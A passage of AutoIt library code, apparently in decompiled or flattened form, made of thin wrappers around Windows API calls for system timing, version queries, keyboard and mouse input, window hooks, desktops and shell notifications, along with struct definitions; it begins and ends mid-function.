_WINAPI_GETSYSTEMTIMES () LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "GetSystemTimes" , "uint64*" , 0 , "uint64*" , 0 , "uint64*" , 0 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $ARESULT [3 ] FOR $I = 0 TO 2 $ARESULT [$I ] = $ARET [$I + 1 ] NEXT RETURN $ARESULT ENDFUNC FUNC _WINAPI_GETSYSTEMWOW64DIRECTORY () LOCAL $ARET = DLLCALL ("kernel32.dll" , "uint" , "GetSystemWow64DirectoryW" , "wstr" , "" , "uint" , 4096 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , _WINAPI_GETLASTERROR () , "" ) RETURN $ARET [1 ] ENDFUNC FUNC _WINAPI_GETTICKCOUNT () LOCAL $ARET = DLLCALL ("kernel32.dll" , "dword" , "GetTickCount" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETTICKCOUNT64 () LOCAL $ARET = DLLCALL ("kernel32.dll" , "uint64" , "GetTickCount64" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETUSEROBJECTINFORMATION ($HOBJECT , $IINDEX ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetUserObjectInformationW" , "handle" , $HOBJECT , "int" , $IINDEX , "ptr" , 0 , "dword" , 0 , "dword*" , 0 ) IF @ERROR OR NOT $ARET [5 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $TDATA SWITCH $IINDEX CASE 1 $TDATA = DLLSTRUCTCREATE ($TAGUSEROBJECTFLAGS ) CASE 5 , 6 $TDATA = DLLSTRUCTCREATE ("uint" ) CASE 2 , 3 $TDATA = DLLSTRUCTCREATE ("wchar[" & $ARET [5 ] & "]" ) CASE 4 $TDATA = DLLSTRUCTCREATE ("byte[" & $ARET [5 ] & "]" ) CASE ELSE RETURN SETERROR (20 , 0 , 0 ) ENDSWITCH $ARET = DLLCALL ("user32.dll" , "bool" , "GetUserObjectInformationW" , "handle" , $HOBJECT , "int" , $IINDEX , "struct*" , $TDATA , "dword" , DLLSTRUCTGETSIZE ($TDATA ) , "dword*" , 0 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 30 , @EXTENDED , 0 ) SWITCH $IINDEX CASE 1 , 4 RETURN $TDATA CASE ELSE RETURN DLLSTRUCTGETDATA ($TDATA , 1 ) ENDSWITCH ENDFUNC FUNC _WINAPI_GETVERSION () RETURN NUMBER (BITAND (BITSHIFT ($__WINVER , 8 ) , 255 ) & "." & BITAND ($__WINVER , 255 ) , $NUMBER_DOUBLE ) ENDFUNC FUNC _WINAPI_GETVERSIONEX () LOCAL $TOSVERSIONINFOEX = DLLSTRUCTCREATE ($TAGOSVERSIONINFOEX ) DLLSTRUCTSETDATA ($TOSVERSIONINFOEX , "OSVersionInfoSize" , DLLSTRUCTGETSIZE ($TOSVERSIONINFOEX ) ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "GetVersionExW" , "struct*" , $TOSVERSIONINFOEX ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN $TOSVERSIONINFOEX ENDFUNC FUNC _WINAPI_GETWORKAREA () LOCAL $TRECT = DLLSTRUCTCREATE ($TAGRECT ) LOCAL $ARET = DLLCALL ("user32.dll" , "int" , "SystemParametersInfo" , "uint" , 48 , "uint" , 0 , "struct*" , $TRECT , "uint" , 0 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN $TRECT ENDFUNC FUNC _WINAPI_INITMUILANGUAGE ($ILANGUAGE ) DLLCALL ("comctl32.dll" , "none" , "InitMUILanguage" , "word" , $ILANGUAGE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_ISLOADKBLAYOUT ($ILANGUAGE ) LOCAL $ALAYOUT = _WINAPI_GETKEYBOARDLAYOUTLIST () IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) FOR $I = 1 TO $ALAYOUT [0 ] IF $ALAYOUT [$I ] = $ILANGUAGE THEN RETURN TRUE NEXT RETURN FALSE ENDFUNC FUNC _WINAPI_ISPROCESSORFEATUREPRESENT ($IFEATURE ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "IsProcessorFeaturePresent" , "dword" , $IFEATURE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_ISWINDOWENABLED ($HWND ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "IsWindowEnabled" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_KEYBD_EVENT ($VKEY , $IFLAGS , $ISCANCODE = 0 , $IEXTRAINFO = 0 ) DLLCALL ("user32.dll" , "none" , "keybd_event" , "byte" , $VKEY , "byte" , $ISCANCODE , "dword" , $IFLAGS , "ulong_ptr" , $IEXTRAINFO ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_LOADKEYBOARDLAYOUT ($ILANGUAGE , $IFLAG = 0 ) LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "LoadKeyboardLayoutW" , "wstr" , HEX ($ILANGUAGE , 8 ) , "uint" , $IFLAG ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_LOCKWORKSTATION () LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "LockWorkStation" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_MAPVIRTUALKEY ($ICODE , $ITYPE , $HLOCALE = 0 ) LOCAL $ARET = DLLCALL ("user32.dll" , "INT" , "MapVirtualKeyExW" , "uint" , $ICODE , "uint" , $ITYPE , "uint_ptr" , $HLOCALE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_MOUSE_EVENT ($IFLAGS , $IX = 0 , $IY = 0 , $IDATA = 0 , $IEXTRAINFO = 0 ) DLLCALL ("user32.dll" , "none" , "mouse_event" , "dword" , $IFLAGS , "dword" , $IX , "dword" , $IY , "dword" , $IDATA , "ulong_ptr" , $IEXTRAINFO ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED ) ENDFUNC FUNC _WINAPI_OPENDESKTOP ($SNAME , $IACCESS = 0 , $IFLAGS = 0 , $BINHERIT = FALSE ) LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "OpenDesktopW" , "wstr" , $SNAME , "dword" , $IFLAGS , "bool" , $BINHERIT , "dword" , $IACCESS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_OPENINPUTDESKTOP ($IACCESS = 0 , $IFLAGS = 0 , $BINHERIT = FALSE ) LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "OpenInputDesktop" , "dword" , $IFLAGS , "bool" , $BINHERIT , "dword" , $IACCESS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_OPENWINDOWSTATION ($SNAME , $IACCESS = 0 , $BINHERIT = FALSE ) LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "OpenWindowStationW" , "wstr" , $SNAME , "bool" , $BINHERIT , "dword" , $IACCESS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_QUERYPERFORMANCECOUNTER () LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "QueryPerformanceCounter" , "int64*" , 0 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [1 ] ENDFUNC FUNC _WINAPI_QUERYPERFORMANCEFREQUENCY () LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "QueryPerformanceFrequency" , "int64*" , 0 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN $ARET [1 ] ENDFUNC FUNC _WINAPI_REGISTERHOTKEY ($HWND , $IID , $IMODIFIERS , $VKEY ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "RegisterHotKey" , "hwnd" , $HWND , "int" , $IID , "uint" , $IMODIFIERS , "uint" , $VKEY ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_REGISTERPOWERSETTINGNOTIFICATION ($HWND , $SGUID ) LOCAL $TGUID = DLLSTRUCTCREATE ($TAGGUID ) LOCAL $ARET = DLLCALL ("ole32.dll" , "long" , "CLSIDFromString" , "wstr" , $SGUID , "struct*" , $TGUID ) IF @ERROR OR $ARET [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , 0 ) $ARET = DLLCALL ("user32.dll" , "handle" , "RegisterPowerSettingNotification" , "handle" , $HWND , "struct*" , $TGUID , "dword" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_REGISTERRAWINPUTDEVICES ($PADEVICE , $ICOUNT = 1 ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "RegisterRawInputDevices" , "struct*" , $PADEVICE , "uint" , $ICOUNT , "uint" , DLLSTRUCTGETSIZE (DLLSTRUCTCREATE ($TAGRAWINPUTDEVICE ) ) * $ICOUNT ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_RELEASECAPTURE () LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "ReleaseCapture" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_REMOVECLIPBOARDFORMATLISTENER ($HWND ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "RemoveClipboardFormatListener" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SETACTIVEWINDOW ($HWND ) LOCAL $ARET = DLLCALL ("user32.dll" , "int" , "SetActiveWindow" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SETCAPTURE ($HWND ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "hwnd" , "SetCapture" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_SETDEFAULTPRINTER ($SPRINTER ) LOCAL $ARESULT = DLLCALL ("winspool.drv" , "bool" , "SetDefaultPrinterW" , "wstr" , $SPRINTER ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_SETDLLDIRECTORY ($SDIRPATH = DEFAULT ) LOCAL $STYPEOFPATH = "wstr" IF $SDIRPATH = DEFAULT THEN $STYPEOFPATH = "ptr" $SDIRPATH = 0 ENDIF LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "SetDllDirectoryW" , $STYPEOFPATH , $SDIRPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SETKEYBOARDLAYOUT ($HWND , $ILANGUAGE , $IFLAGS = 0 ) IF NOT _WINAPI_ISWINDOW ($HWND ) THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $HLOCALE = 0 IF $ILANGUAGE THEN $HLOCALE = _WINAPI_LOADKEYBOARDLAYOUT ($ILANGUAGE ) IF NOT $HLOCALE THEN RETURN SETERROR (10 , 0 , 0 ) ENDIF LOCAL CONST $WM_INPUTLANGCHANGEREQUEST = 80 DLLCALL ("user32.dll" , "none" , "SendMessage" , "hwnd" , $HWND , "uint" , $WM_INPUTLANGCHANGEREQUEST , "uint" , $IFLAGS , "uint_ptr" , $HLOCALE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_SETKEYBOARDSTATE (BYREF $TSTATE ) LOCAL $ARET = DLLCALL ("user32.dll" , "int" , "SetKeyboardState" , "struct*" , $TSTATE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SETPROCESSSHUTDOWNPARAMETERS ($ILEVEL , $BDIALOG = FALSE ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "bool" , "SetProcessShutdownParameters" , "dword" , $ILEVEL , "dword" , NOT $BDIALOG ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SETPROCESSWINDOWSTATION ($HSTATION ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "SetProcessWindowStation" , "handle" , $HSTATION ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SETUSEROBJECTINFORMATION ($HOBJECT , $IINDEX , BYREF $TDATA ) IF $IINDEX <> 1 THEN RETURN SETERROR (10 , 0 , FALSE ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "SetUserObjectInformationW" , "handle" , $HOBJECT , "int" , 1 , "struct*" , $TDATA , "dword" , DLLSTRUCTGETSIZE ($TDATA ) ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SETWINDOWSHOOKEX ($IHOOK , $PPROC , $HDLL , $ITHREADID = 0 ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "handle" , "SetWindowsHookEx" , "int" , $IHOOK , "ptr" , $PPROC , "handle" , $HDLL , "dword" , $ITHREADID ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_SETWINEVENTHOOK ($IEVENTMIN , $IEVENTMAX , $PEVENTPROC , $IPID = 0 , $ITHREADID = 0 , $IFLAGS = 0 ) LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "SetWinEventHook" , "uint" , $IEVENTMIN , "uint" , $IEVENTMAX , "ptr" , 0 , "ptr" , $PEVENTPROC , "dword" , $IPID , "dword" , $ITHREADID , "uint" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SHUTDOWNBLOCKREASONCREATE ($HWND , $STEXT ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "ShutdownBlockReasonCreate" , "hwnd" , $HWND , "wstr" , $STEXT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SHUTDOWNBLOCKREASONDESTROY ($HWND ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "ShutdownBlockReasonDestroy" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SHUTDOWNBLOCKREASONQUERY ($HWND ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "ShutdownBlockReasonQuery" , "hwnd" , $HWND , "wstr" , "" , "dword*" , 4096 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , "" ) RETURN $ARET [2 ] ENDFUNC FUNC _WINAPI_SWITCHDESKTOP ($HDESKTOP ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "SwitchDesktop" , "handle" , $HDESKTOP ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SYSTEMPARAMETERSINFO ($IACTION , $IPARAM = 0 , $VPARAM = 0 , $IWININI = 0 ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "SystemParametersInfoW" , "uint" , $IACTION , "uint" , $IPARAM , "struct*" , $VPARAM , "uint" , $IWININI ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_TRACKMOUSEEVENT ($HWND , $IFLAGS , $ITIME = + 4294967295 ) LOCAL $TTME = DLLSTRUCTCREATE ("dword;dword;hwnd;dword" ) DLLSTRUCTSETDATA ($TTME , 1 , DLLSTRUCTGETSIZE ($TTME ) ) DLLSTRUCTSETDATA ($TTME , 2 , $IFLAGS ) DLLSTRUCTSETDATA ($TTME , 3 , $HWND ) DLLSTRUCTSETDATA ($TTME , 4 , $ITIME ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "TrackMouseEvent" , "struct*" , $TTME ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_UNHOOKWINDOWSHOOKEX ($HHOOK ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "UnhookWindowsHookEx" , "handle" , $HHOOK ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_UNHOOKWINEVENT ($HEVENTHOOK ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "UnhookWinEvent" , "handle" , $HEVENTHOOK ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_UNLOADKEYBOARDLAYOUT ($HLOCALE ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "UnloadKeyboardLayout" , "handle" , $HLOCALE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_UNREGISTERHOTKEY ($HWND , $IID ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "UnregisterHotKey" , "hwnd" , $HWND , "int" , $IID ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_UNREGISTERPOWERSETTINGNOTIFICATION ($HNOTIFY ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "UnregisterPowerSettingNotification" , "handle" , $HNOTIFY ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC __ENUMPAGEFILESPROC ($ISIZE , $PINFO , $PFILE ) LOCAL $TEPFI = DLLSTRUCTCREATE ("dword;dword;ulong_ptr;ulong_ptr;ulong_ptr" , $PINFO ) __INC ($__G_VENUM ) $__G_VENUM [$__G_VENUM [0 ] [0 ] ] [0 ] = DLLSTRUCTGETDATA (DLLSTRUCTCREATE ("wchar[" & (_WINAPI_STRLEN ($PFILE ) + 1 ) & "]" , $PFILE ) , 1 ) FOR $I = 1 TO 3 $__G_VENUM [$__G_VENUM [0 ] [0 ] ] [$I ] = DLLSTRUCTGETDATA ($TEPFI , $I + 2 ) * $ISIZE NEXT RETURN 1 ENDFUNC #EndRegion Internal Functions #Region Global Variables and Constants GLOBAL CONST $TAGNOTIFYICONDATA = "struct;dword Size;hwnd hWnd;uint ID;uint Flags;uint CallbackMessage;ptr hIcon;wchar Tip[128];dword State;dword StateMask;wchar Info[256];uint Version;wchar InfoTitle[64];dword InfoFlags;endstruct" GLOBAL CONST $TAGNOTIFYICONDATA_V3 = $TAGNOTIFYICONDATA & ";" & $TAGGUID GLOBAL CONST $TAGNOTIFYICONDATA_V4 = $TAGNOTIFYICONDATA_V3 & ";ptr hBalloonIcon;" GLOBAL CONST $TAGSHELLEXECUTEINFO = "dword Size;ulong Mask;hwnd hWnd;ptr Verb;ptr File;ptr Parameters;ptr Directory;int Show;ulong_ptr hInstApp;ptr IDList;ptr Class;ulong_ptr hKeyClass;dword HotKey;ptr hMonitor;ptr hProcess" GLOBAL CONST $TAGSHFILEINFO = "ptr hIcon;int iIcon;dword Attributes;wchar DisplayName[260];wchar TypeName[80]" GLOBAL CONST $TAGSHFILEOPSTRUCT = "hwnd hWnd;uint Func;ptr From;ptr To;dword Flags;int fAnyOperationsAborted;ptr hNameMappings;ptr ProgressTitle" GLOBAL CONST $TAGSHFOLDERCUSTOMSETTINGS = "dword Size;dword Mask;ptr GUID;ptr WebViewTemplate;dword SizeWVT;ptr WebViewTemplateVersion;ptr InfoTip;dword SizeIT;ptr CLSID;dword Flags;ptr IconFile;dword SizeIF;int IconIndex;ptr Logo;dword SizeL" GLOBAL CONST $TAGSHSTOCKICONINFO = "dword Size;ptr hIcon;int SysImageIndex;int iIcon;wchar Path[260]" #EndRegion Global Variables and Constants #Region Functions list #EndRegion Functions list #Region Public Functions FUNC _WINAPI_DEFSUBCLASSPROC ($HWND , $IMSG , $WPARAM , $LPARAM ) LOCAL $ARET = DLLCALL ("comctl32.dll" , "lresult" , "DefSubclassProc" , "hwnd" , $HWND , "uint" , $IMSG , "wparam" , $WPARAM , "lparam" , $LPARAM ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_DLLGETVERSION ($SFILEPATH ) LOCAL $TVERSION = DLLSTRUCTCREATE ("dword[5]" ) DLLSTRUCTSETDATA ($TVERSION , 1 , DLLSTRUCTGETSIZE ($TVERSION ) , 1 ) LOCAL $ARET = DLLCALL ($SFILEPATH , "uint" , "DllGetVersion" , "struct*" , $TVERSION ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) LOCAL $ARESULT [4 ] FOR $I = 0 TO 3 $ARESULT [$I ] = DLLSTRUCTGETDATA ($TVERSION , 1 , $I + 2 ) NEXT RETURN $ARESULT ENDFUNC FUNC _WINAPI_FINDEXECUTABLE ($SFILENAME , $SDIRECTORY = "" ) LOCAL $ARESULT = DLLCALL ("shell32.dll" , "INT" , "FindExecutableW" , "wstr" , $SFILENAME , "wstr" , $SDIRECTORY , "wstr" , "" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) IF $ARESULT [0 ] <= 32 THEN RETURN SETERROR (10 , $ARESULT [0 ] , "" ) RETURN SETEXTENDED ($ARESULT [0 ] , $ARESULT [3 ] ) ENDFUNC FUNC _WINAPI_GETALLUSERSPROFILEDIRECTORY () LOCAL $ARET = DLLCALL ("userenv.dll" , "bool" , "GetAllUsersProfileDirectoryW" , "wstr" , "" , "dword*" , 4096 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN $ARET [1 ] ENDFUNC FUNC _WINAPI_GETDEFAULTUSERPROFILEDIRECTORY () LOCAL $ARET = DLLCALL ("userenv.dll" , "bool" , "GetDefaultUserProfileDirectoryW" , "wstr" , "" , "dword*" , 4096 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN $ARET [1 ] ENDFUNC FUNC _WINAPI_GETWINDOWSUBCLASS ($HWND , $PSUBCLASSPROC , $IDSUBCLASS ) LOCAL $ARET = DLLCALL ("comctl32.dll" , "bool" , "GetWindowSubclass" , "hwnd" , $HWND , "ptr" , $PSUBCLASSPROC , "uint_ptr" , $IDSUBCLASS , "dword_ptr*" , 0 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN $ARET [4 ] ENDFUNC FUNC _WINAPI_REMOVEWINDOWSUBCLASS ($HWND , $PSUBCLASSPROC , $IDSUBCLASS ) LOCAL $ARET = DLLCALL ("comctl32.dll" , "bool" , "RemoveWindowSubclass" , "hwnd" , $HWND , "ptr" , $PSUBCLASSPROC , "uint_ptr" , $IDSUBCLASS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SETCURRENTPROCESSEXPLICITAPPUSERMODELID ($SAPPID ) LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , "SetCurrentProcessExplicitAppUserModelID" , "wstr" , $SAPPID ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_SETWINDOWSUBCLASS ($HWND , $PSUBCLASSPROC , $IDSUBCLASS , $PDATA = 0 ) LOCAL $ARET = DLLCALL ("comctl32.dll" , "bool" , "SetWindowSubclass" , "hwnd" , $HWND , "ptr" , $PSUBCLASSPROC , "uint_ptr" , $IDSUBCLASS , "dword_ptr" , $PDATA ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SHELLADDTORECENTDOCS ($SFILEPATH ) LOCAL $STYPEOFFILE = "wstr" IF STRINGSTRIPWS ($SFILEPATH , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN $SFILEPATH = _WINAPI_PATHSEARCHANDQUALIFY ($SFILEPATH , 1 ) IF NOT $SFILEPATH THEN RETURN SETERROR (1 , 0 , 0 ) ENDIF ELSE $STYPEOFFILE = "ptr" $SFILEPATH = 0 ENDIF DLLCALL ("shell32.dll" , "none" , "SHAddToRecentDocs" , "uint" , 3 , $STYPEOFFILE , $SFILEPATH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_SHELLCHANGENOTIFY ($IEVENT , $IFLAGS , $IITEM1 = 0 , $IITEM2 = 0 ) LOCAL $STYPEOFITEM1 = "dword_ptr" , $STYPEOFITEM2 = "dword_ptr" IF ISSTRING ($IITEM1 ) THEN $STYPEOFITEM1 = "wstr" ENDIF IF ISSTRING ($IITEM2 ) THEN $STYPEOFITEM2 = "wstr" ENDIF DLLCALL ("shell32.dll" , "none" , "SHChangeNotify" , "long" , $IEVENT , "uint" , $IFLAGS , $STYPEOFITEM1 , $IITEM1 , $STYPEOFITEM2 , $IITEM2 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_SHELLCHANGENOTIFYDEREGISTER ($IID ) LOCAL $ARET = DLLCALL ("shell32.dll" , "bool" , "SHChangeNotifyDeregister" , "ulong" , $IID ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SHELLCHANGENOTIFYREGISTER ($HWND , $IMSG , $IEVENTS , $ISOURCES , $APATHS , $BRECURSIVE = FALSE ) LOCAL $IPATH = $APATHS , $TAGSTRUCT = "" IF ISARRAY ($APATHS ) THEN IF UBOUND ($APATHS , $UBOUND_COLUMNS ) THEN RETURN SETERROR (1 , 0 , 0 ) ELSE DIM $APATHS [1 ] = [$IPATH ] ENDIF FOR $I = 0 TO UBOUND ($APATHS ) + 4294967295 IF NOT _WINAPI_PATHISDIRECTORY ($APATHS [$I ] ) THEN RETURN SETERROR (2 , 0 , 0 ) NEXT FOR $I = 0 TO UBOUND ($APATHS ) + 4294967295 $TAGSTRUCT &= "ptr;int;" NEXT LOCAL $TENTRY = DLLSTRUCTCREATE ($TAGSTRUCT ) FOR $I = 0 TO UBOUND ($APATHS ) + 4294967295 $APATHS [$I ] = _WINAPI_SHELLILCREATEFROMPATH (_WINAPI_PATHSEARCHANDQUALIFY ($APATHS [$I ] ) ) DLLSTRUCTSETDATA ($TENTRY , 2 * $I + 1 , $APATHS [$I ] ) DLLSTRUCTSETDATA ($TENTRY , 2 * $I + 2 , $BRECURSIVE ) NEXT LOCAL $IERROR = 0 LOCAL $ARET = DLLCALL ("shell32.dll" , "ulong" , "SHChangeNotifyRegister" , "hwnd" , $HWND , "int" , $ISOURCES , "long" , $IEVENTS , "uint" , $IMSG , "int" , UBOUND ($APATHS ) , "struct*" , $TENTRY ) IF @ERROR OR NOT $ARET [0 ] THEN $IERROR = @ERROR + 10 FOR $I = 0 TO UBOUND ($APATHS ) + 4294967295 _WINAPI_COTASKMEMFREE ($APATHS [$I ] ) NEXT RETURN SETERROR ($IERROR , 0 , $ARET [0 ] ) ENDFUNC FUNC _WINAPI_SHELLCREATEDIRECTORY ($SFILEPATH , $HPARENT = 0 , $TSECURITY = 0 ) LOCAL $ARET = DLLCALL ("shell32.dll" , "int" , 